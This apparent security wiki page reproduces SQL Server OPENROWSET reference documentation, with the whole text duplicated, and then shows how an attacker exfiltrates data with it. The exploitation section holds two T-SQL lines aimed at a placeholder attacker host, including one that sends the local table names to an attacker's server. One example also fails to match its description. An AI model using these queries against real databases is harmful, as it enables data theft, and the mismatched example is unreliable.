OPENROWSET
Includes all connection information that is required to access remote data from an OLE DB data source. This method is an alternative to accessing tables in a linked server and is a one-time, ad hoc method of connecting and accessing remote data by using OLE DB. For more frequent references to OLE DB data sources, use linked servers instead. The OPENROWSET function can be referenced in the FROM clause of a query as if it were a table name. The OPENROWSET function can also be referenced as the target table of an INSERT, UPDATE, or DELETE statement, subject to the capabilities of the OLE DB provider. Although the query might return multiple result sets, OPENROWSET returns only the first one.
OPENRAWSET Syntax
OPENROWSET Arguments
'provider_name'
Is a character string that represents the friendly name (or PROGID) of the OLE DB provider as specified in the registry. provider_name has no default value.
'datasource'
Is a string constant that corresponds to a particular OLE DB data source. datasource is the DBPROP_INIT_DATASOURCE property to be passed to the IDBProperties interface of the provider to initialize the provider. Typically, this string includes the name of the database file, the name of a database server, or a name that the provider understands to locate the database or databases.
'user_id'
Is a string constant that is the user name passed to the specified OLE DB provider. user_id specifies the security context for the connection and is passed in as the DBPROP_AUTH_USERID property to initialize the provider. user_id cannot be a Microsoft Windows login name.
'password'
Is a string constant that is the user password to be passed to the OLE DB provider. password is passed in as the DBPROP_AUTH_PASSWORD property when initializing the provider. password cannot be a Microsoft Windows password.
'provider_string'
Is a provider-specific connection string that is passed in as the DBPROP_INIT_PROVIDERSTRING property to initialize the OLE DB provider. provider_string typically encapsulates all the connection information required to initialize the provider. For a list of keywords that are recognized by the SQL Server Native Client OLE DB provider, see Initialization and Authorization Properties.
'catalog'
Is the name of the catalog or database in which the specified object resides.
'schema'
Is the name of the schema or object owner for the specified object.
'object'
Is the object name that uniquely identifies the object to work with.
'query'
Is a string constant sent to and executed by the provider. The local instance of SQL Server does not process this query, but processes query results returned by the provider, a pass-through query. Pass-through queries are useful when used on providers that do not make available their tabular data through table names, but only through a command language. Pass-through queries are supported on the remote server, as long as the query provider supports the OLE DB Command object and its mandatory interfaces.
Uses the BULK rowset provider for OPENROWSET to read data from a file. In SQL Server, OPENROWSET can read from a data file without loading the data into a target table. This lets you use OPENROWSET with a simple SELECT statement.
The arguments of the BULK option allow for significant control over where to start and end reading data, how to deal with errors, and how data is interpreted. For example, you can specify that the data file be read as a single-row, single-column rowset of type varbinary, varchar, or nvarchar. The default behavior is described in the argument descriptions that follow.
'data_file'
Is the full path of the data file whose data is to be copied into the target table.
FORMATFILE ='format_file_path'
Specifies the full path of a format file. SQL Server supports two types of format files: XML and non-XML.
A format file is required to define column types in the result set. The only exception is when SINGLE_CLOB, SINGLE_BLOB, or SINGLE_NCLOB is specified; in which case, the format file is not required.
CODEPAGE = { 'ACP'| 'OEM'| 'RAW'| 'code_page' }
Specifies the code page of the data in the data file. CODEPAGE is relevant only if the data contains char, varchar, or text columns with character values more than 127 or less than 32.
OPENRWASET Exploitation Examples
OPENRAWSET permits an attacker to create a connection from the target database to the attacker’s database and carry query data over the connection. This is accomplished using the OPENROWSET command and can be an attacker’s best tool available. For this scenario to work the target database must
be able to open a Transmission Control Protocol (TCP) connection to the attacker's database
on the default port 1433; if egress filtering is in place at the victim or if the attacker is performing ingress filtering, the connection will fail.
However, you can connect to a different port, simply by specifying the port number after the destination Internet Protocol (IP) address. This can be very useful when the remote database server can connect back
to your machine on only a few specific ports.
OPENROWSET is used on SQL Server to perform a one-time connection to a remote OLE DB data source (e.g., another SQL server). One example legitimate usage is to retrieve data that resides on a remote database as an alternative to link the two databases, which is better suited to cases when the data exchange needs to be performed on a regular basis.
Here we connected to the SQL server at the address attackersIPaddress as user ValidUserName, and we ran the query SELECT review_author FROM reviews, whose results are transferred back and visualized
by the outermost query. User ValidUserName is a user of the database at address attackersIPaddress, and not of the database where OPENROWSET is executed. Also note that to successfully perform the
query as user ValidUserName , we must successfully authenticate, providing its correct password.
We can also use OPENROWSET to transmit data to a foreign database using an INSERT statement:
By executing this query, we will select the names of user tables on the local database, and append such rows into attacker_table which resides on the attacker’s server at address attackersIPaddress . Of course, for the command to complete correctly, attacker_table’s columns must match the results of the local query, so the table would consist of a single varchar column.
References:
| OPENROWSET | |
|---|---|
| Note | OPENROWSET also supports bulk operations through a built-in BULK provider that enables data from a file to be read and returned as a rowset |
OPENRAWSET Syntax
| OPENROWSET Functionality |
|---|
| OPENROWSET ( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' } , { [ catalog. ] [ schema. ] object | 'query' } | BULK 'data_file' , { FORMATFILE = 'format_file_path' [ | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB } } ) [ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ] [ , ERRORFILE = 'file_name' ] [ , FIRSTROW = first_row ] [ , LASTROW = last_row ] [ , MAXERRORS = maximum_errors ] [ , ROWS_PER_BATCH = rows_per_batch ] [ , ORDER ( { column [ ASC | DESC ] } [ ,...n ] ) [ UNIQUE ] |
OPENROWSET Arguments
'provider_name'
Is a character string that represents the friendly name (or PROGID) of the OLE DB provider as specified in the registry. provider_name has no default value.
'datasource'
Is a string constant that corresponds to a particular OLE DB data source. datasource is the DBPROP_INIT_DATASOURCE property to be passed to the IDBProperties interface of the provider to initialize the provider. Typically, this string includes the name of the database file, the name of a database server, or a name that the provider understands to locate the database or databases.
'user_id'
Is a string constant that is the user name passed to the specified OLE DB provider. user_id specifies the security context for the connection and is passed in as the DBPROP_AUTH_USERID property to initialize the provider. user_id cannot be a Microsoft Windows login name.
'password'
Is a string constant that is the user password to be passed to the OLE DB provider. password is passed in as the DBPROP_AUTH_PASSWORD property when initializing the provider. password cannot be a Microsoft Windows password.
'provider_string'
Is a provider-specific connection string that is passed in as the DBPROP_INIT_PROVIDERSTRING property to initialize the OLE DB provider. provider_string typically encapsulates all the connection information required to initialize the provider. For a list of keywords that are recognized by the SQL Server Native Client OLE DB provider, see Initialization and Authorization Properties.
'catalog'
Is the name of the catalog or database in which the specified object resides.
'schema'
Is the name of the schema or object owner for the specified object.
'object'
Is the object name that uniquely identifies the object to work with.
'query'
Is a string constant sent to and executed by the provider. The local instance of SQL Server does not process this query, but processes query results returned by the provider, a pass-through query. Pass-through queries are useful when used on providers that do not make available their tabular data through table names, but only through a command language. Pass-through queries are supported on the remote server, as long as the query provider supports the OLE DB Command object and its mandatory interfaces.
Uses the BULK rowset provider for OPENROWSET to read data from a file. In SQL Server, OPENROWSET can read from a data file without loading the data into a target table. This lets you use OPENROWSET with a simple SELECT statement.
The arguments of the BULK option allow for significant control over where to start and end reading data, how to deal with errors, and how data is interpreted. For example, you can specify that the data file be read as a single-row, single-column rowset of type varbinary, varchar, or nvarchar. The default behavior is described in the argument descriptions that follow.
'data_file'
Is the full path of the data file whose data is to be copied into the target table.
FORMATFILE ='format_file_path'
Specifies the full path of a format file. SQL Server supports two types of format files: XML and non-XML.
A format file is required to define column types in the result set. The only exception is when SINGLE_CLOB, SINGLE_BLOB, or SINGLE_NCLOB is specified; in which case, the format file is not required.
CODEPAGE = { 'ACP'| 'OEM'| 'RAW'| 'code_page' }
Specifies the code page of the data in the data file. CODEPAGE is relevant only if the data contains char, varchar, or text columns with character values more than 127 or less than 32.
OPENRWASET Exploitation Examples
OPENRAWSET permits an attacker to create a connection from the target database to the attacker’s database and carry query data over the connection. This is accomplished using the OPENROWSET command and can be an attacker’s best tool available. For this scenario to work the target database must
be able to open a Transmission Control Protocol (TCP) connection to the attacker's database
on the default port 1433; if egress filtering is in place at the victim or if the attacker is performing ingress filtering, the connection will fail.
However, you can connect to a different port, simply by specifying the port number after the destination Internet Protocol (IP) address. This can be very useful when the remote database server can connect back
to your machine on only a few specific ports.
OPENROWSET is used on SQL Server to perform a one-time connection to a remote OLE DB data source (e.g., another SQL server). One example legitimate usage is to retrieve data that resides on a remote database as an alternative to link the two databases, which is better suited to cases when the data exchange needs to be performed on a regular basis.
| OPENROWSET SELECT Example |
|---|
| SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=attackersIPaddress;uid=ValidUserName; pwd=password', 'SELECT interestingName FROM name) |
Here we connected to the SQL server at the address attackersIPaddress as user ValidUserName, and we ran the query SELECT review_author FROM reviews, whose results are transferred back and visualized
by the outermost query. User ValidUserName is a user of the database at address attackersIPaddress, and not of the database where OPENROWSET is executed. Also note that to successfully perform the
query as user ValidUserName , we must successfully authenticate, providing its correct password.
We can also use OPENROWSET to transmit data to a foreign database using an INSERT statement:
| OPENROWSET INSERT Example |
|---|
| INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSOCN; Address=attackersIPaddress;uid=foo; pwd=password', 'SELECT * FROM attacker_table') SELECT name FROM sysobjects WHERE xtype='U' |
By executing this query, we will select the names of user tables on the local database, and append such rows into attacker_table which resides on the attacker’s server at address attackersIPaddress . Of course, for the command to complete correctly, attacker_table’s columns must match the results of the local query, so the table would consist of a single varchar column.
References:
- http://msdn.microsoft.com/en-us/library/ms190312.aspx
- http://msdn.microsoft.com/en-us/library/ms188279.aspx
- SQL Injection Attacks and Defense by Justin Clarke
